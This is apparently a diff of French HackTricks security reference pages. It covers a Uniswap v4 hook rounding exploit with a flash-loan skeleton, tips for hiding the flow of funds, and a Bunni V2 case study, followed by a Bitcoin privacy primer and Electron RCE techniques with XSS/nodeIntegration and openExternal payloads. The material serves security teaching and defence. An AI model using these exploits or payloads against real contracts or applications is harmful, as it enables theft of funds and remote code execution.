||||
- Approximer Δin en utilisant les formules v3/v4 : Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Veiller à ce que le sens d'arrondi corresponde aux calculs fondamentaux.
|
||||
- Ajuster Δin de ±1 wei autour de la frontière pour trouver la branche où le hook arrondit en votre faveur.
|
||||
|
||||
4) Amplify with flash loans
|
||||
- Emprunter un montant important (p. ex., 3M USDT ou 2000 WETH) pour exécuter de nombreuses itérations atomiquement.
|
||||
- Exécuter la boucle de swap calibrée, puis withdraw et repay dans la callback du flash loan.
|
||||
|
||||
Aave V3 flash loan skeleton
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
5) Sortie et réplication inter‑chaînes
|
||||
- Si des hooks sont déployés sur plusieurs chaînes, répétez la même calibration par chaîne.
|
||||
- On utilise un bridge pour renvoyer les fonds vers la chaîne cible et, optionnellement, on effectue des cycles via des protocoles de prêt pour obfusquer les flux.
|
||||
|
||||
## Common root causes in hook math
|
||||
|
||||
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
|
||||
- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another.
|
||||
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
|
||||
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
|
||||
- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum.
|
||||
|
||||
## Defensive guidance
|
||||
|
||||
- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
|
||||
- Invariant/property tests:
|
||||
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
|
||||
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
|
||||
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
|
||||
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
|
||||
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
|
||||
- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges.
|
||||
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
|
||||
|
||||
## Case study: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and transferring the funds via a bridge to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## Hunting checklist
|
||||
|
||||
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
|
||||
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
|
||||
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,182 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Concepts de base
|
||||
|
||||
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution des accords sans intermédiaires.
|
||||
- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, présentant une interface conviviale et un back-end transparent et auditable.
|
||||
- **Tokens & Coins** différencient où les coins servent de monnaie numérique, tandis que les tokens représentent une valeur ou une propriété dans des contextes spécifiques.
|
||||
- **Utility Tokens** donnent accès à des services, et **Security Tokens** signifient la propriété d'actifs.
|
||||
- **DeFi** signifie Finance Décentralisée, offrant des services financiers sans autorités centrales.
|
||||
- **DEX** et **DAOs** font référence aux plateformes d'échange décentralisées et aux organisations autonomes décentralisées, respectivement.
|
||||
|
||||
## Mécanismes de consensus
|
||||
|
||||
Les mécanismes de consensus garantissent des validations de transactions sécurisées et convenues sur la blockchain :
|
||||
|
||||
- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vérification des transactions.
|
||||
- **Proof of Stake (PoS)** exige que les validateurs détiennent un certain montant de tokens, réduisant la consommation d'énergie par rapport au PoW.
|
||||
|
||||
## Essentiels de Bitcoin
|
||||
|
||||
### Transactions
|
||||
|
||||
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées par des signatures numériques, garantissant que seul le propriétaire de la clé privée peut initier des transferts.
|
||||
|
||||
#### Composants clés :
|
||||
|
||||
- **Multisignature Transactions** nécessitent plusieurs signatures pour autoriser une transaction.
|
||||
- Les transactions se composent de **inputs** (source de fonds), **outputs** (destination), **fees** (payées aux mineurs) et **scripts** (règles de transaction).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'état final que sur la blockchain.
|
||||
|
||||
## Préoccupations en matière de confidentialité de Bitcoin
|
||||
|
||||
Les attaques sur la vie privée, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modèles de transaction. Des stratégies comme **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs.
|
||||
|
||||
## Acquisition de Bitcoins de manière anonyme
|
||||
|
||||
Les méthodes incluent les échanges en espèces, le minage et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions régulières pour une confidentialité accrue.
|
||||
|
||||
# Attaques sur la vie privée de Bitcoin
|
||||
|
||||
# Résumé des attaques sur la vie privée de Bitcoin
|
||||
|
||||
Dans le monde de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent des sujets de préoccupation. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles les attaquants peuvent compromettre la vie privée de Bitcoin.
|
||||
|
||||
## **Hypothèse de propriété d'entrée commune**
|
||||
|
||||
Il est généralement rare que des entrées de différents utilisateurs soient combinées dans une seule transaction en raison de la complexité impliquée. Ainsi, **deux adresses d'entrée dans la même transaction sont souvent supposées appartenir au même propriétaire**.
|
||||
|
||||
## **Détection d'adresse de changement UTXO**
|
||||
|
||||
Un UTXO, ou **Unspent Transaction Output**, doit être entièrement dépensé dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste va à une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant ainsi la vie privée.
|
||||
|
||||
### Exemple
|
||||
|
||||
Pour atténuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
|
||||
|
||||
## **Exposition sur les réseaux sociaux et forums**
|
||||
|
||||
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse à son propriétaire**.
|
||||
|
||||
## **Analyse des graphes de transactions**
|
||||
|
||||
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre les utilisateurs en fonction du flux de fonds.
|
||||
|
||||
## **Heuristique d'entrée inutile (Heuristique de changement optimal)**
|
||||
|
||||
Cette heuristique est basée sur l'analyse des transactions avec plusieurs entrées et sorties pour deviner quelle sortie est le changement retournant à l'expéditeur.
|
||||
|
||||
### Exemple
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Si l'ajout de plus d'entrées rend la sortie de changement plus grande que n'importe quelle entrée unique, cela peut confondre l'heuristique.
|
||||
|
||||
## **Réutilisation forcée d'adresse**
|
||||
|
||||
Les attaquants peuvent envoyer de petites sommes à des adresses précédemment utilisées, espérant que le destinataire les combine avec d'autres entrées dans de futures transactions, reliant ainsi les adresses ensemble.
|
||||
|
||||
### Comportement correct du portefeuille
|
||||
|
||||
Les portefeuilles devraient éviter d'utiliser des pièces reçues sur des adresses déjà utilisées et vides pour prévenir cette fuite de confidentialité.
|
||||
|
||||
## **Autres techniques d'analyse de blockchain**
|
||||
|
||||
- **Montants de paiement exacts :** Les transactions sans changement sont probablement entre deux adresses appartenant au même utilisateur.
|
||||
- **Nombres ronds :** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, avec la sortie non ronde étant probablement le changement.
|
||||
- **Empreinte de portefeuille :** Différents portefeuilles ont des modèles de création de transactions uniques, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de changement.
|
||||
- **Corrélations de montant et de timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables.
|
||||
|
||||
## **Analyse de trafic**
|
||||
|
||||
En surveillant le trafic réseau, les attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant ainsi la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité opère de nombreux nœuds Bitcoin, améliorant sa capacité à surveiller les transactions.
|
||||
|
||||
## Plus
|
||||
|
||||
Pour une liste complète des attaques sur la vie privée et des défenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Transactions Bitcoin anonymes
|
||||
|
||||
## Façons d'obtenir des Bitcoins anonymement
|
||||
|
||||
- **Transactions en espèces :** Acquérir des bitcoins par le biais d'espèces.
|
||||
- **Alternatives en espèces :** Acheter des cartes-cadeaux et les échanger en ligne contre des bitcoins.
|
||||
- **Minage :** La méthode la plus privée pour gagner des bitcoins est le minage, surtout lorsqu'il est effectué seul, car les pools de minage peuvent connaître l'adresse IP du mineur. [Informations sur les pools de minage](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Vol :** Théoriquement, voler des bitcoins pourrait être une autre méthode pour les acquérir anonymement, bien que cela soit illégal et non recommandé.
|
||||
|
||||
## Services de mélange
|
||||
|
||||
En utilisant un service de mélange, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins différents en retour**, ce qui rend difficile la traçabilité du propriétaire d'origine. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de journaux et pour réellement retourner les bitcoins. Des options de mélange alternatives incluent les casinos Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le processus pour quiconque essaie de faire correspondre les entrées avec les sorties. Malgré son efficacité, les transactions avec des tailles d'entrée et de sortie uniques peuvent encore potentiellement être tracées.
|
||||
|
||||
Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction ordinaire, sans les caractéristiques distinctives de sorties égales de CoinJoin. Cela rend extrêmement difficile la détection et pourrait invalider l'heuristique de propriété d'entrée commune utilisée par les entités de surveillance des transactions.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Les transactions comme celles-ci pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
|
||||
|
||||
**L'utilisation de PayJoin pourrait perturber considérablement les méthodes de surveillance traditionnelles**, en faisant un développement prometteur dans la quête de la confidentialité transactionnelle.
|
||||
|
||||
# Meilleures pratiques pour la confidentialité dans les cryptomonnaies
|
||||
|
||||
## **Techniques de synchronisation des portefeuilles**
|
||||
|
||||
Pour maintenir la confidentialité et la sécurité, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux méthodes se distinguent :
|
||||
|
||||
- **Nœud complet** : En téléchargeant l'intégralité de la blockchain, un nœud complet garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
|
||||
- **Filtrage de blocs côté client** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intérêts spécifiques aux observateurs du réseau. Les portefeuilles légers téléchargent ces filtres, ne récupérant des blocs complets que lorsqu'un match avec les adresses de l'utilisateur est trouvé.
|
||||
|
||||
## **Utilisation de Tor pour l'anonymat**
|
||||
|
||||
Étant donné que Bitcoin fonctionne sur un réseau pair-à-pair, il est recommandé d'utiliser Tor pour masquer votre adresse IP, améliorant la confidentialité lors de l'interaction avec le réseau.
|
||||
|
||||
## **Prévention de la réutilisation des adresses**
|
||||
|
||||
Pour protéger la confidentialité, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation des adresses peut compromettre la confidentialité en liant les transactions à la même entité. Les portefeuilles modernes découragent la réutilisation des adresses par leur conception.
|
||||
|
||||
## **Stratégies pour la confidentialité des transactions**
|
||||
|
||||
- **Multiples transactions** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialité.
|
||||
- **Évitement du changement** : Opter pour des transactions qui ne nécessitent pas de sorties de changement améliore la confidentialité en perturbant les méthodes de détection du changement.
|
||||
- **Multiples sorties de changement** : Si éviter le changement n'est pas faisable, générer plusieurs sorties de changement peut néanmoins améliorer la confidentialité.
|
||||
|
||||
# **Monero : Un phare d'anonymat**
|
||||
|
||||
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée pour la confidentialité.
|
||||
|
||||
# **Ethereum : Gaz et transactions**
|
||||
|
||||
## **Comprendre le gaz**
|
||||
|
||||
Le gaz mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2,310,000 gwei (ou 0.00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent définir un frais maximum pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
|
||||
|
||||
## **Exécution des transactions**
|
||||
|
||||
Les transactions sur Ethereum impliquent un expéditeur et un destinataire, qui peuvent être soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nécessitent un frais et doivent être minées. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expéditeur, la valeur, des données optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expéditeur est déduite de la signature, éliminant le besoin de celle-ci dans les données de la transaction.
|
||||
|
||||
Ces pratiques et mécanismes sont fondamentaux pour quiconque cherchant à s'engager avec les cryptomonnaies tout en priorisant la confidentialité et la sécurité.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -4,27 +4,27 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes.
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains des mécanismes de sécurité des navigateurs modernes.
|
||||
|
||||
D'habitude, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire :
|
||||
Vous trouverez généralement le code de l'application Electron à l'intérieur d'un fichier `.asar` ; pour obtenir le code, vous devez l'extraire :
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies.
|
||||
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où sont définies les configurations de sécurité.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron a 2 types de processus :
|
||||
Electron possède 2 types de processus :
|
||||
|
||||
- Main Process (a un accès complet à NodeJS)
|
||||
- Renderer Process (devrait avoir un accès NodeJS restreint pour des raisons de sécurité)
|
||||
- Processus principal (a un accès complet à NodeJS)
|
||||
- Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
|
||||
|
||||
.png>)
|
||||
|
||||
Un **renderer process** sera une fenêtre de navigateur chargeant un fichier :
|
||||
Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier :
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron d'obtenir un RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
Les paramètres du **renderer process** peuvent être **configurés** dans le **main process** à l'intérieur du fichier main.js. Certaines configurations permettront d'**empêcher l'application Electron d'obtenir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
|
||||
L'application electron **pourrait accéder à l'appareil** via les Node apis bien qu'il soit possible de la configurer pour l'en empêcher :
|
||||
L'application Electron **pourrait accéder à l'appareil** via Node apis bien qu'elle puisse être configurée pour l'en empêcher :
|
||||
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés.
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si on, permet d'accéder aux fonctionnalités de Node depuis le renderer process.
|
||||
- **`contextIsolation`** - est `on` par défaut. Si off, main and renderer processes ne sont pas isolés.
|
||||
- **`preload`** - vide par défaut.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est off par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **disabled**, alors les preloads se chargeront dans l'iframe
|
||||
- **`nodeIntegrationInSubframes`**- est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **désactivé**, alors les preloads se chargeront dans l'iframe
|
||||
|
||||
Exemple de configuration:
|
||||
Example of configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Quelques **RCE payloads** depuis [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Quelques **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -97,13 +97,14 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capturer le trafic
|
||||
|
||||
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
|
||||
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible de lui faire exécuter du code javascript arbitraire. Regardez comment dans :
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Consultez comment dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Si vous pouvez exécuter localement une Electron App, il est possible de lui fai
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Si la **nodeIntegration** est réglée sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
Si la **nodeIntegration** est réglée sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la manière d'exécuter l'application calc sous Windows est :
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le renderer**, donc il a **un accès illimité aux Node APIs**:
|
||||
Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le renderer**, donc il a **un accès illimité aux Node APIs** :
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Par conséquent, le script peut exporter node-features vers des pages:
|
||||
Par conséquent, le script peut exporter node-features vers des pages :
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -148,7 +149,7 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Si `contextIsolation` est activé, ceci ne fonctionnera pas**
|
||||
> [!NOTE] > **Si `contextIsolation` est activé, cela ne fonctionnera pas**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
@ -157,7 +158,7 @@ Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts
|
||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||
|
||||
1. Exécuter **arbitrary JavaScript in renderer** (XSS ou navigation vers des sites externes)
|
||||
2. **Écraser la méthode built-in** qui est utilisée dans preload ou le code interne d'Electron pour prendre le contrôle d'une fonction
|
||||
2. Remplacer la **méthode intégrée** utilisée dans le preload ou dans le code interne d'Electron pour en prendre le contrôle
|
||||
3. **Déclencher** l'utilisation de la **fonction écrasée**
|
||||
4. RCE?
|
||||
|
||||
@ -178,9 +179,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Contourner l'événement de click
|
||||
### Contourner l'événement de clic
|
||||
|
||||
S'il y a des restrictions appliquées lorsque vous cliquez sur un lien, vous pouvez peut-être les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique.
|
||||
Si des restrictions sont appliquées lorsque vous cliquez sur un lien, vous pouvez peut-être les contourner en **effectuant un clic du milieu** au lieu d'un clic gauche classique.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -188,26 +189,26 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Lors du déploiement d'une application de bureau Electron, s'assurer des paramètres corrects pour `nodeIntegration` et `contextIsolation` est crucial. Il est établi que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est effectivement empêché lorsque ces paramètres sont en place.
|
||||
Lors du déploiement d'une application de bureau Electron, s'assurer que les paramètres `nodeIntegration` et `contextIsolation` sont correctement configurés est crucial. Il est établi que **client-side remote code execution (RCE)** ciblant les preload scripts ou le code natif d'Electron depuis le processus principal est efficacement empêché lorsque ces paramètres sont en place.
|
||||
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des event listeners spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et le fonctionnement de l'application :
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, et ils sont cruciaux pour la sécurité et le fonctionnement de l'application :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
|
||||
Ces listeners sont **surchargés par l'application de bureau** pour implémenter leur propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert en externe, en utilisant la fonction `shell.openExternal`.
|
||||
|
||||
**Voici un pseudocode simplifié :**
|
||||
**Voici un pseudo-code simplifié :**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Les bonnes pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut consulter [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
Electron JS security best practices déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait conduire à une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
|
||||
Sur macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires, par exemple `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Sous macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires, par exemple `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Exemples d'exploits de protocoles Windows incluent :**
|
||||
**Exemples d'exploits de protocoles Windows :**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -227,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + IPC preload vulnérable + shell.openExternal
|
||||
